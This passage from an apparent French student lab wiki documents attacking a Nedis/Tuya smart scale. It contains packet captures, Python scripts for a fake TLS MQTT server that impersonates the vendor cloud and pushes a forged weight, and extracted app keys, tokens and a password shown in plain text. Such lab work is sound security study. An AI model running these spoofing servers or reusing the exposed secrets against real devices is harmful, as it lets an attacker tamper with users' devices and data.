801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poids vers l'application de Nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM android une clé local qui permettrai de chiffrer le message pour que Nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je pense que pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit&lt;br /&gt;
&lt;br /&gt;
J'ai donc cherché dans cette direction et j'ai découvert deux choses. &lt;br /&gt;
&lt;br /&gt;
Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autre de récupérer la fameuse clé.&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai découvert la plateforme IOT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assisant ou encore ... TinyTuya !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: J'ai du changer d'application et cette application ne tape plus sur la même adresse. Elle tape sur XX-eu.lifeaiot.com il a donc fallu refaire une redirection vers notre serveur pour ces nouvelles adresses.&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.&lt;br /&gt;
&lt;br /&gt;
== TinyTuya ==&lt;br /&gt;
Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il a fallu connecter l'appli à la platforme IOT de Tuya. L'application &amp;quot;Nedis Smartlife&amp;quot; de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui c'est le même nom…) ne veux pas se connecter à la plateforme pour une raison inexplicable (et au vu du nombre de forum qui parle du sujet, je ne suis pas le seul).&lt;br /&gt;
&lt;br /&gt;
J'ai donc du connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.&lt;br /&gt;
&lt;br /&gt;
Cela me permet de récupérer avec TinyTuya les périphériques&lt;br /&gt;
&lt;br /&gt;
Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…&lt;br /&gt;
&lt;br /&gt;
Déjà pourquoi connecter l'application avec la plateforme IOT de Tuya --&amp;gt; Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.&lt;br /&gt;
&lt;br /&gt;
Et comment faire pour que TinyTuya est accès aux appareils --&amp;gt; grâce à la commande &amp;lt;code&amp;gt;python -m tinytuya wizard&amp;lt;/code&amp;gt; qui va prendre l'ID et la clé pour récupérer les appareils. &lt;br /&gt;
&lt;br /&gt;
Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connecté à notre réseau :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya devices &lt;br /&gt;
TinyTuya (Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     &lt;br /&gt;
{         &lt;br /&gt;
&amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,         &lt;br /&gt;
&amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
